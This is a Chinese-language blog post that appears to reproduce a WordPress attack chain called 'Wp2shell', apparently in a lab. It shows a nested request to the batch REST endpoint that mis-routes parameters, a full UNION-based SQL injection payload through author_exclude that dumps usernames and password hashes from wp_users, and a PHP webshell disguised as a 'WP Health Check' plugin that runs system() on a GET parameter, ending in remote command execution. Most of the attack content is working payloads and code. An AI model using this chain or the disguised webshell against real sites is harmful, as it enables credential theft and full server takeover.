ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

Wp2shell 复现

2026/8/11 2:21:21 拓冰建站 浏览量
Wp2shell 复现 首先整个攻击链是由于一个POST接口 /wp-json/batch/v1而来简单来说这个batch接口允许一个HTTP请求批量执行多条子请求导致的路由错位{ requests: [ {method:GET,path:///}, { method:POST, path:/wp/v2/posts, body: { requests:[ {method:POST,path:///}, {method:POST,path:/wp/v2/categories/999?author_exclude【URL编码后的注入payload】}, {method:POST,path:///} ] } }, {method:POST,path:/wp-json/batch/v1} ] }这样就导致author_exclude请求参数传递给/wp/v2/posts 这个包含sql注入的接口CVE‑2026‑60137:sql注入首先我们要理解一下处理参数的逻辑接口 /wp/v2/posts$author_exclude $request-get_param( author_exclude ); if ( ! empty( $author_exclude ) ) { $query_args[author__not_in] $author_exclude; }最后是把author_exclude传递给query_args[author_not_in]再传递给WP_Query那WP_Query是怎么处理author_not_inif ( ! empty( $this-query_vars[author__not_in] ) ) { $author__not_in $this-query_vars[author__not_in]; // ⚠️只有当是数组的时候才执行整数过滤 array_map(absint) if ( is_array( $author__not_in ) ) { $author__not_in array_map( absint, $author__not_in ); } $author__not_in implode( ,, array_unique( $author__not_in ) ); // 直接拼接进入SQL字符串无任何过滤 $where . AND post_author NOT IN ($author__not_in) ; }最后的sql语句是直接拼接author_not_in如果传入数组is_array() true执行array_map(absint)全部强制转为整数安全。如果传入字符串is_array() false直接跳过整数净化逻辑直接把可控字符串拼接到 SQL 语句。注入用户名密码1.orderbynone2.WordPress REST接口默认会给查询自动追加 order by post_date DESC/wp/v2/posts/999999?author_exclude0) UNION SELECT 999999,2,3,2020-01-01 00:00:00,2020-01-01 00:00:00,CONCAT(||,HEX((SELECT GROUP_CONCAT(CONCAT(user_login,0x3a,user_pass)) FROM wp_users)),||),4,publish,5,6,7,8,9,10,2020-01-01 00:00:00,2020-01-01 00:00:00,11,12,13,14,post,15,16 -- -orderbynoneper_page500这样就到能得到用户名与密码然后我们用拿到的凭证访问/wp-adminlabadminLabOnly_2026!ChangeMe发现这里有一个更新插件的功能可以上传webshell?php /* Plugin Name: WP Health Check Description: WordPress health and diagnostics tool Version: 1.0 */ if(isset($_GET[cmd])){ system($_GET[cmd]); die(); }整个流程/wp-json/batch/v1接口--路由错位这个点--联合sql注入--拿到用户凭证--插件更新--上传webshell--命令执行RCE